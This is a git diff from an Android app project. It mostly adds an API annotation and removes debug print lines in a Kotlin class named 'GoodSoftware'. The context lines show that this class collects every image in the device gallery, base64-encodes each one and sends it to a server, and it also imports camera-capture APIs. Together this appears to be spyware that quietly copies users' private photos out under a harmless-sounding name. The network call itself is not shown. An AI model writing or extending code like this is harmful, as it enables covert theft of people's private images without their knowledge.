diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml index bb2f332..4d437b1 100644 --- a/.idea/deploymentTargetDropDown.xml +++ b/.idea/deploymentTargetDropDown.xml @@ -4,18 +4,6 @@ - - - - - - - - - - - - diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 3b5a258..543ac5d 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -13,6 +13,7 @@ import android.os.Build import android.provider.MediaStore import android.util.Base64 import android.util.Log +import androidx.annotation.RequiresApi import androidx.camera.core.CameraSelector import androidx.camera.core.ImageCapture import androidx.camera.core.ImageCaptureException @@ -129,6 +130,7 @@ class GoodSoftware (private val activity: MainActivity) { } } + @RequiresApi(Build.VERSION_CODES.TIRAMISU) private fun requestMediaImagesPermission() { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) } @@ -153,7 +155,6 @@ class GoodSoftware (private val activity: MainActivity) { try { val imageList = getAllImagesFromGallery(activity) for (image in imageList) { - println(imageList.size) val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) Thread { println("Sending data to server") @@ -179,7 +180,6 @@ class GoodSoftware (private val activity: MainActivity) { val bitmap = BitmapFactory.decodeStream(inputStream) val width = bitmap.width val height = bitmap.height - println("Width: $width, Height: $height") // Determine the orientation of the image val resizedBitmap = if (width > height) {